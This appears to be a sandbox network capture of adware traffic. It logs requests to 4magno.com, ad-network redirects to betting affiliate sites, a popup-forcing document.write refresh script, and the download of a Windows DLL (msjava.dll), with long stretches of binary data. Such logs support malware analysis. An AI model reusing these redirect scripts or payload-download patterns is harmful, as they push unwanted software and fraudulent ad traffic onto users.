Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: fonts.gstatic.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Type: font/eot

Last-Modified: Wed, 14 Jan 2015 22:48:57 GMT

Date: Tue, 09 Jun 2015 23:39:17 GMT

Expires: Wed, 08 Jun 2016 23:39:17 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Server: sffe

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Content-Length: 36482

Age: 1493736

Alternate-Protocol: 80:quic,p=0
............UP...<.................-xpww......w.$HH........fj..z.j.
m.S.............?..H....h.C.....hP.../0...1.t.......-........(.... ..`
..z....y.......>.g....?............).\.v.................-........&
gt;8..9.i........_$M[m.!;.....db.i.s.s ...r...d.R}Yq.. .k..W..n.~.....
V3..J..x...).*B....v........Qc..l.-.........2'#....o...l..N.9...\.R$W.
....L].q..[.c.nK.5ogy..|5....w..X.]..e!c&...K.N...>...cRE...>..J
o..j.y....v.R.../..I.......t....R.r..eI..l..ZMr.(3V.&..fJ.....h...l...
.........b.*.P>.............'.G'....S...d. o...R...(-..|*..wf{:..P.
]...b..B$..{.j.".B..3A.......I...g]..PK.<.g;u3...y QK*:.by7.Qc.."..
.; .[.:c'9.=^e4..:.'7.GW..}T.G..{......8.7.94.ZR......[......%.../d.eP
7~M...7.=....Z..[.......6v....c.S.]w-}.......fyT1j9...,v...|&R_.......
b.V...t..:.\.t..a.Y.nR)}y.g7.s.I.....A......-..7.#o-..N.....y.|l..b.Kq
...Z...Kw.....E..G....6,..=....,EZ.t.S.H w..F.s.E.....1. .....`2)...0.
..pN....U..M.....u .'b4N..,.;.r... S[)..CW...e)...&^^-D..{f....x.Xb6*b
.........XS.hC>...6.H3.....Iy.e...c1.O..K....d!..so....S.X.Qa......
..I........c....4|b........D3I[sPs...........O.C.*....3.....(f.....;.%
:F.i...S..Ux..........,d.....E.j"..b..#....A.c!...02.......:\G....}..o
V.R..Z....*...f...K9$...K..J..sfpa.6..kD9,..W...'....l.2 ...#J.h.d.?F|
`.7../g.[.i.\"....R....A.!`^).}.....-B...M...1.q....PN.>qY.7;.$fSRH
..L....GRf..n%F..1l9.j...j...E.Z.......A..T.>)V.#..............<
..9H.F...R,...}e1r..4) ..-0J...{n[....... ......G.R..C...ge...b.\.:...
.....0.t:a..#........l..................y...~.{.k....M.#..u.......
<<< skipped >>>

GET /__maxpower__/render_template/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab?language_code=en HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.4magno.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Language: en

Content-Type: text/html; charset=utf-8

Date: Sat, 27 Jun 2015 06:34:47 GMT

Server: nginx

Vary: Accept-Language

Content-Length: 2403

Connection: keep-alive
..<!--Template VideoUpdater-->..<div class="container">.&l
t;div class="videupdater">. <div class="minimize">.  <ul&g
t;.    <li><span id="_Bminimize" onclick="minimizeWindow();" 
class="button-min">-</span></li>.    <li><span
 id="_Bexit" onclick="onExit()" class="button-min">x</span>&l
t;/li>.  </ul>.</div>..<div id="_frameContainer" cla
ss="content">..  ..</div>...<!-- buttons -->.<div cl
ass="buttons">..  <!--botones derecha -->.  .  <input id="
_Bnext" class="_Bnext grey right" buttonText="Next" tabindex="0" type=
"submit" value="Next »" onclick='onAccept();'>.  ..  <!--b
otones izquierda -->..  .  <input id="_Bomit" class="_Bomit norm
al-close leftnowidth" tabindex="3" type="submit" name="nombre" value="
Skip All" onclick='onOmit();'>.  .  .  <input id="_Bdecline" cla
ss="_Bdecline normal-close leftnowidth" tabindex="1" type="submit"  na
me="nombre" value="Decline"  onclick='onDecline();'>.  ..  <div 
class="clear"></div>.</div>..  ..<div class="contact
">.  <div class="contact-in" style="height: 20px;">..    <
ul>.      <li><a target='_blank' class="first _TitPrivacy"
>Privacy Policy</a></li>.      <li><a target='
_blank' class="_TitSetup">Setup info</a></li>.      <
;li><a target='_blank' class="_TitFree">Why is this free?<
/a></li>.      <li><a target='_blank' class="_Ti
<<< skipped >>>

GET /maxpower-static/apps/ad/10514/css/style.css HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.4magno.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/css

Date: Sat, 27 Jun 2015 06:34:48 GMT

ETag: "5506c210-72"

Last-Modified: Mon, 16 Mar 2015 11:44:16 GMT

Server: nginx

Content-Length: 114

Connection: keep-alive
/* mapp MixVideoPlayer */....welcome ul  {...width:210px;..float: left
; ..}...welcome ul li {..margin-top: 10px;.}HTTP/1.1 200 OK..Accept-Ra
nges: bytes..Content-Type: text/css..Date: Sat, 27 Jun 2015 06:34:48 G
MT..ETag: "5506c210-72"..Last-Modified: Mon, 16 Mar 2015 11:44:16 GMT.
.Server: nginx..Content-Length: 114..Connection: keep-alive../* mapp M
ixVideoPlayer */....welcome ul  {...width:210px;..float: left; ..}...w
elcome ul li {..margin-top: 10px;.}....

GET /afu.php?zoneid=313275 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: onclickads.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 27 Jun 2015 06:34:52 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Pragma: no-cache

Cache-Control: private, max-age=0, no-cache

Expires: Mon, 26 Jul 1997 05:00:00 GMT

P3P: CP="CUR ADM OUR NOR STA NID"

Set-Cookie: OAGEO57b51=2|UA|63|KHARKIV|61000|?|BROADBAND|IP-COM LTD||15610|25314|?; expires=Sun, 28-Jun-2015 06:34:52 GMT; path=/

Set-Cookie: OAID=c1d713ab408ec0c71452c379261d0fe5; expires=Sun, 26-Jun-2016 06:34:52 GMT; path=/

Content-Encoding: gzip
3ae.............U[..6.~....0....'%L..v...aw.>..........L6..{....J..
Q.}..9........<.@"......HL...A.).P.8 .[' )a.-J.......R;...1<~...
`r.trkk..Hw....xZ...B.,.H.3_s...2...q"..6.e.F...mz.}MM..,.T!......{_..
,K%.X..#U......$.....[.....&...>.vc?X.l9w....>r..t4..g."..G.....
t5Y-f..|9]M....0.c.4). Y}e..W.;.k.:...di.Q.^}.......`..."!.I..........
. .v.e.$B.......%". I...Z$8.-#)MP*4..q....oz...ni}.n........Gs....{..)
F.....D...[........*..5....t..........z9#"..j.Q.......H).1.aY..?.C$$(.
.X....7k."..% D~.F..t..{.i..J....Df..._ .QQ...Z.....6^.O"...F.R.,]..|.
*mYM..'.....a.........."o.A..;g\<.....v.X.<....y*@VEJ.-./.......
...q..v.yL.......M.....`[email protected]........}F.3.g.4.....I.y9<....Q
.]%..Tx...y_Y......_s.q.....C;...nZ-.i.Y.....z..x cF......./.y.>J^.
_.p..#{|.....=....*\;G.....&2^.-.}v7g.......LQ..O.N.:1.tk.R...'.J...'.
che$/......B..".^ .fa.Q.....).......n.T.q......F.. .....W^.k.JW~8>.
.ox0...H..<F..5v..N.i.T...?.. .oS.7..i_x........zCT..[........Y....
..0......
<<< skipped >>>

GET /?r=/mb/han&zoneid=313275&pbk2=b7fc860c4c03d10b441242507f521cc56164939759668494029&saved_referer=&adparams=bm9qcz0w&x=1256&y=693 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://onclickads.net/afu.php?zoneid=313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: onclickads.net

Connection: Keep-Alive

Cookie: OAGEO57b51=2|UA|63|KHARKIV|61000|?|BROADBAND|IP-COM LTD||15610|25314|?; OAID=c1d713ab408ec0c71452c379261d0fe5

HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Sat, 27 Jun 2015 06:34:52 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Pragma: no-cache

Cache-Control: private, max-age=0, no-cache

Expires: Mon, 26 Jul 1997 05:00:00 GMT

P3P: CP="CUR ADM OUR NOR STA NID"

Set-Cookie: OAGEO57b51=2|UA|63|KHARKIV|61000|?|BROADBAND|IP-COM LTD||15610|25314|?; expires=Sun, 28-Jun-2015 06:34:52 GMT; path=/

Set-Cookie: ppucnt=1; expires=Sun, 28-Jun-2015 06:34:52 GMT; path=/

Set-Cookie: OAID=c1d713ab408ec0c71452c379261d0fe5; expires=Sun, 26-Jun-2016 06:34:52 GMT; path=/

Set-Cookie: _OACAP[681037]=1; expires=Sun, 26-Jun-2016 06:34:52 GMT; path=/

Set-Cookie: _OABLOCK[681037]=1435386892; expires=Mon, 27-Jul-2015 06:34:52 GMT; path=/

Set-Cookie: _OACCAP[231764]=1; expires=Sun, 26-Jun-2016 06:34:52 GMT; path=/

Set-Cookie: _OACBLOCK[231764]=1435386892; expires=Mon, 27-Jul-2015 06:34:52 GMT; path=/

Location: hXXp://partners.parimatch.com/processing/clickthrgh.asp?btag=a_3963b_382&aid=313275
0..HTTP/1.1 302 Moved Temporarily..Server: nginx..Date: Sat, 27 Jun 20
15 06:34:52 GMT..Content-Type: text/html..Transfer-Encoding: chunked..
Connection: keep-alive..Pragma: no-cache..Cache-Control: private, max-
age=0, no-cache..Expires: Mon, 26 Jul 1997 05:00:00 GMT..P3P: CP="CUR 
ADM OUR NOR STA NID"..Set-Cookie: OAGEO57b51=2|UA|63|KHARKIV|6
1000|?|BROADBAND|IP-COM LTD||15610|25314|?; expires=
Sun, 28-Jun-2015 06:34:52 GMT; path=/..Set-Cookie: ppucnt=1; expires=S
un, 28-Jun-2015 06:34:52 GMT; path=/..Set-Cookie: OAID=c1d713ab408ec0c
71452c379261d0fe5; expires=Sun, 26-Jun-2016 06:34:52 GMT; path=/..Set-
Cookie: _OACAP[681037]=1; expires=Sun, 26-Jun-2016 06:34:52 GMT; path=
/..Set-Cookie: _OABLOCK[681037]=1435386892; expires=Mon, 27-Jul-2015 0
6:34:52 GMT; path=/..Set-Cookie: _OACCAP[231764]=1; expires=Sun, 26-Ju
n-2016 06:34:52 GMT; path=/..Set-Cookie: _OACBLOCK[231764]=1435386892;
 expires=Mon, 27-Jul-2015 06:34:52 GMT; path=/..Location: hXXp://partn
ers.parimatch.com/processing/clickthrgh.asp?btag=a_3963b_382&aid=31327
5..0..
<<< skipped >>>

GET /syncc.html?btag=a_3963b_382c_313275 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: VVV.parimatch.kz

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:55 GMT

Set-Cookie: pm_btag=a_3963b_382c_313275; expires=Sun, 12-Jul-2015 06:34:55 GMT; path=/; domain=.parimatch.kz

Userver: 2

GEOIP: UA,(null)

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 40

Content-Type: text/html; charset=WINDOWS-1251

Server: Jigsaw 2.2.6

HServer: 1
.............(....I.O.....R`1^....C.....HTTP/1.1 200 OK..Date: Sat, 27
 Jun 2015 06:34:55 GMT..Set-Cookie: pm_btag=a_3963b_382c_313275; expir
es=Sun, 12-Jul-2015 06:34:55 GMT; path=/; domain=.parimatch.kz..Userve
r: 2..GEOIP: UA,(null)..Vary: Accept-Encoding..Content-Encoding: gzip.
.Content-Length: 40..Content-Type: text/html; charset=WINDOWS-1251..Se
rver: Jigsaw 2.2.6..HServer: 1...............(....I.O.....R`1^....C...
....

GET /js/show_ads.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.4magno.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: n149adserv.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Accept-Ranges: bytes

ETag: W/"7614-1432285206000"

Last-Modified: Fri, 22 May 2015 09:00:06 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Content-Encoding: gzip

Vary: Accept-Encoding

Date: Sat, 27 Jun 2015 06:34:51 GMT
a..............200...Ymo.8.. 6.....8=...U.4.^.H[\.......h..,jE.......I
..,{.......G....g...;,....l..A4.i... b.u*[email protected]..}...=..R*.......=.X
..p..ln.).....c..Q).i....w..|...',_.<l.6....).i._.EF.,....2......'&
gt;u.2....,&a.......s.G...6.!..D....O.2I.0e...6{.=s....s......G.......
.....!.`.......r..hl.{...o..=..u.r..y.w.....;\.y.......t.gT.._J._.X.|%
..#./.d..s......)..T|'n..".~..b....j!....Us?.i,.`P...y:s......^..y..b.
-...G4.._f.....^......y...M...........U....~.;..l..{.....X..9Ob.....A.
.......B<p&..bq-".L.AtV;.....T..O;../...!..ah.....200..V9.*....U ..
.4|.;V...;O..N>.GOA.... #8.Ft...e~..sG.HH..V..~..!.....|[email protected].....
Cwk/.w..fA Z.....l^...qg.>b....G...P..F.. G..j.0?..#.....$..G..P<
;.A......{..,....Y......K.*[email protected]...(=91..C~....c.a.'...t
..!.S.'...v..^..?.d.....1.....`...Ng..Dd^w>.....G.9..[..>/..|O.f
.hd..L.V1[...1..E.T,...qS.......2G7i.GC.gBr....E......U..xZ1|t.g...V..
...XH.R...R..."..D.>.0U...z..[GU1.(.y.L......|.)[email protected]].-..c..`....
C.|.G o..|..hb..2iL......T#p.bV.)b.z).....AZ.k.v..o.......n /"..|."...
......3...]^...u.1....1..\.P..200..H.b-......z......r\p....L..H].Q._Y.
W..v..DA.R..:..I=.C..Jg{W.....#.e.......O.#.....................\.0Q..
[email protected]..,AK!...H#...."...$..:p...S.R.k..Y:..<
...U....m6\..@.<.`...3.f......p.r.9....U.*]..f.b..k.i_..U..z..n1...
.&C|.6.X.1*X...k......P]...^k....U.=~..mrc......Jc.aASj,.|...B.f.l....
.....*.1..^[d....Fe.m7J.PW.v..C/d...E..l.....f5..v.D...B...'.&T....&E.
D....h.O.......M.R.4..h......sb{.YQ..Nm=%..d.....zO.{....9.*s.H..d
<<< skipped >>>

GET /ads-sync.js?v=1&key=8807bef3df789cfc967df2f12545a152&ch=&click=&tz=3&t=1435386900233&requestUrl=http://VVV.4magno.com/BesH3gE9/pop-up/&requestRef=&flashVer=11.6 r602&scrWidth=1276&scrHeight=846&cIds= HTTP/1.1

Accept: */*

Referer: hXXp://VVV.4magno.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: n149adserv.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Cache-Control: no-cache

Pragma: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT

P3P: CP="CAO PSA OUR"

Set-Cookie: csc=76-1435473292322-19-1--; Domain=.n149adserv.com; Expires=Sun, 26-Jun-2016 06:34:52 GMT; Path=/

Set-Cookie: epomUUID=9dd37021-1c96-11e5-9811-68b599ca8038; Domain=.n149adserv.com; Expires=Fri, 22-Jun-2035 06:34:52 GMT; Path=/

Content-Type: text/javascript;charset=UTF-8

Content-Length: 422

Date: Sat, 27 Jun 2015 06:34:51 GMT
document.write("<meta http-equiv=\"refresh\" content=\"0; url=http:
\/\/onclickads.net\/afu.php?zoneid=313275\" \/><script type=\"te
xt\/javascript\">new Image().src = \"http:\/\/n149adserv.com\" \"\/
im\" \"pressi\" \"on.gif?b=778\" \"&p=27&ch=&ap=&cps=&c\" \"=76&l=UA\"
 \"&h=acf77f38e46b2eec6d48af61483c53a7&t=\" new Date().getTime() \"&s=
88e677139c8e9259de87bcfd5c00ea5f\";<\/script>");.CustomWLAdServe
r.addCampaignId(76);....

GET /d5/msjava.dll HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: static.4magno.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/octet-stream

Date: Sat, 27 Jun 2015 06:34:39 GMT

ETag: "54ef0d1b-e5910"

Last-Modified: Thu, 26 Feb 2015 12:10:03 GMT

Server: nginx

Content-Length: 940304

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L.....C8
...........#...............................k..........................
......m...............................`#..te..........................
......................................................................
...........................text............................... ..`.dat
a...d"......."[email protected].............................
..@[email protected][email protected]@...0[.8M..... 8W...
4.D8a...4.D8l...6.D8y...5.D8............KERNEL32.dll.NTDLL.DLL.GDI32.d
ll.USER32.dll.ADVAPI32.dll.OLEAUT32.dll.ole32.dll.....................
......................................................................
......................................................................
......................................................................
......................................................................
............................................ .........................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>

GET /syncc.html?btag=a_3963b_382c_313275 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: parimatch.com

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Date: Sat, 27 Jun 2015 06:34:55 GMT

Location: hXXp://VVV.parimatch.com/syncc.html?btag=a_3963b_382c_313275

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 225

Content-Type: text/html; charset=iso-8859-1

Server: Jigsaw 2.2.6

HServer: 1
..........m.Mo.0........B.O.....J..!;..L..J.......z....X~.W...|..x5..(
>.........y..LviR....b........y....V.D.._.E......L..2BXa..zZ....;..
..8.ug....Gg.W.I...........Q.4.<....<...Z..=U...T..[U..>..JTz
w.k..#............?u?q.....HTTP/1.1 301 Moved Permanently..Date: Sat, 
27 Jun 2015 06:34:55 GMT..Location: hXXp://VVV.parimatch.com/syncc.htm
l?btag=a_3963b_382c_313275..Vary: Accept-Encoding..Content-Encoding: g
zip..Content-Length: 225..Content-Type: text/html; charset=iso-8859-1.
.Server: Jigsaw 2.2.6..HServer: 1............m.Mo.0........B.O.....J..
!;..L..J.......z....X~.W...|..x5..(>.........y..LviR....b........y.
...V.D.._.E......L..2BXa..zZ....;....8.ug....Gg.W.I...........Q.4.<
....<...Z..=U...T..[U..>..JTzw.k..#............?u?q.......

GET /syncc.html?btag=a_3963b_382c_313275 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: parimatchru.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:55 GMT

Content-Type: text/html; charset=WINDOWS-1251

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=de25a479142eb4b14498b30b73dc8f1851435386895; expires=Sun, 26-Jun-16 06:34:55 GMT; path=/; domain=.parimatchru.com; HttpOnly

Set-Cookie: pm_btag=a_3963b_382c_313275; expires=Sun, 12-Jul-2015 06:34:55 GMT; path=/; domain=.parimatchru.com

Userver: 1

GEOIP: UA,(null)

Vary: Accept-Encoding

HServer: 1

Server: cloudflare-nginx

CF-RAY: 1fcf20ff856c2372-FRA

Content-Encoding: gzip
25...............(....I.O.....R`1^.........a......C.......0..HTTP/1.1 
200 OK..Date: Sat, 27 Jun 2015 06:34:55 GMT..Content-Type: text/html; 
charset=WINDOWS-1251..Transfer-Encoding: chunked..Connection: keep-ali
ve..Set-Cookie: __cfduid=de25a479142eb4b14498b30b73dc8f1851435386895; 
expires=Sun, 26-Jun-16 06:34:55 GMT; path=/; domain=.parimatchru.com; 
HttpOnly..Set-Cookie: pm_btag=a_3963b_382c_313275; expires=Sun, 12-Jul
-2015 06:34:55 GMT; path=/; domain=.parimatchru.com..Userver: 1..GEOIP
: UA,(null)..Vary: Accept-Encoding..HServer: 1..Server: cloudflare-ngi
nx..CF-RAY: 1fcf20ff856c2372-FRA..Content-Encoding: gzip..25..........
.....(....I.O.....R`1^.........a......C.......0..

GET /syncc.html?btag=a_3963b_382c_313275 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: VVV.parimatch.com

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:55 GMT

Set-Cookie: pm_btag=a_3963b_382c_313275; expires=Sun, 12-Jul-2015 06:34:55 GMT; path=/; domain=.parimatch.com

Userver: 2

GEOIP: UA,Kharkov

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 40

Content-Type: text/html; charset=WINDOWS-1251

Server: Jigsaw 2.2.6

HServer: 1
.............(....I.O.....R`1^....C.....HTTP/1.1 200 OK..Date: Sat, 27
 Jun 2015 06:34:55 GMT..Set-Cookie: pm_btag=a_3963b_382c_313275; expir
es=Sun, 12-Jul-2015 06:34:55 GMT; path=/; domain=.parimatch.com..Userv
er: 2..GEOIP: UA,Kharkov..Vary: Accept-Encoding..Content-Encoding: gzi
p..Content-Length: 40..Content-Type: text/html; charset=WINDOWS-1251..
Server: Jigsaw 2.2.6..HServer: 1...............(....I.O.....R`1^....C.
......

GET /syncc.html?btag=a_3963b_382c_313275 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: parimatch.kz

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Date: Sat, 27 Jun 2015 06:34:55 GMT

Location: hXXp://VVV.parimatch.kz/syncc.html?btag=a_3963b_382c_313275

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 226

Content-Type: text/html; charset=iso-8859-1

Server: Jigsaw 2.2.6

HServer: 1
..........m..n.0.E.|.......4q...FJR... 4.7......~}.l..{.h..]..Q.Y...a.
...~.a.=..U[.D%[email protected],.r..#..;...R
Y..F..1f....(....Z.......{.Rwv.....p.j....Zx:.(......S.s...q.Jk:.@.#..
.,4.....P.H3....HTTP/1.1 301 Moved Permanently..Date: Sat, 27 Jun 2015
 06:34:55 GMT..Location: hXXp://VVV.parimatch.kz/syncc.html?btag=a_396
3b_382c_313275..Vary: Accept-Encoding..Content-Encoding: gzip..Content
-Length: 226..Content-Type: text/html; charset=iso-8859-1..Server: Jig
saw 2.2.6..HServer: 1............m..n.0.E.|.......4q...FJR... 4.7.....
.~}.l..{.h..]..Q.Y...a....~.a.=..U[.D%.&........w.Dk.......b..C.kJ...Q
[email protected],.r..#..;...RY..F..1f....(....Z.......{.Rwv.....p.j....Zx:.(
......S.s...q.Jk:.@.#...,4.....P.H3......

GET /syncc.html?btag=a_3963b_382c_313275 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:55 GMT

Content-Type: text/html; charset=WINDOWS-1251

Transfer-Encoding: chunked

Connection: keep-alive

Userver: 1

GEOIP: UA,(null)

Vary: Accept-Encoding

HServer: 1

Server: cloudflare-nginx

CF-RAY: 1fcf20ff9c8801b1-FRA

Content-Encoding: gzip
25...............(....I.O.....R`1^.........a......C.......0..HTTP/1.1 
200 OK..Date: Sat, 27 Jun 2015 06:34:55 GMT..Content-Type: text/html; 
charset=WINDOWS-1251..Transfer-Encoding: chunked..Connection: keep-ali
ve..Userver: 1..GEOIP: UA,(null)..Vary: Accept-Encoding..HServer: 1..S
erver: cloudflare-nginx..CF-RAY: 1fcf20ff9c8801b1-FRA..Content-Encodin
g: gzip..25...............(....I.O.....R`1^.........a......C.......0..

GET / HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.4magno.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/html

Date: Sat, 27 Jun 2015 06:34:38 GMT

ETag: "5452135d-38"

Last-Modified: Thu, 30 Oct 2014 10:30:53 GMT

Server: nginx

Content-Length: 56

Connection: keep-alive
<html><head><title>ok</title></head><
body></body></html>HTTP/1.1 200 OK..Accept-Ranges: byte
s..Content-Type: text/html..Date: Sat, 27 Jun 2015 06:34:38 GMT..ETag:
 "5452135d-38"..Last-Modified: Thu, 30 Oct 2014 10:30:53 GMT..Server: 
nginx..Content-Length: 56..Connection: keep-alive..<html><hea
d><title>ok</title></head><body></body&g
t;</html>....


GET /?ctrak3.2.617=c_Start_Application HTTP/1.1

User-Agent: session

Host: api.4magno.com

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/html

Date: Sat, 27 Jun 2015 06:34:43 GMT

ETag: "5452135d-38"

Last-Modified: Thu, 30 Oct 2014 10:30:53 GMT

Server: nginx

Content-Length: 56

Connection: keep-alive
<html><head><title>ok</title></head><
body></body></html>HTTP/1.1 200 OK..Accept-Ranges: byte
s..Content-Type: text/html..Date: Sat, 27 Jun 2015 06:34:43 GMT..ETag:
 "5452135d-38"..Last-Modified: Thu, 30 Oct 2014 10:30:53 GMT..Server: 
nginx..Content-Length: 56..Connection: keep-alive..<html><hea
d><title>ok</title></head><body></body&g
t;</html>....


GET /11ccd1485d2b5c3ec888887aea668e2818eade9acc25b23e429d0e6e36942822bd99c6d9533e737cd64bc7a97e72a3999bd98c140ac534df6e4df7dedc109875ae695511bdbbb73779c054747274cadbf001cd9e04676455 HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

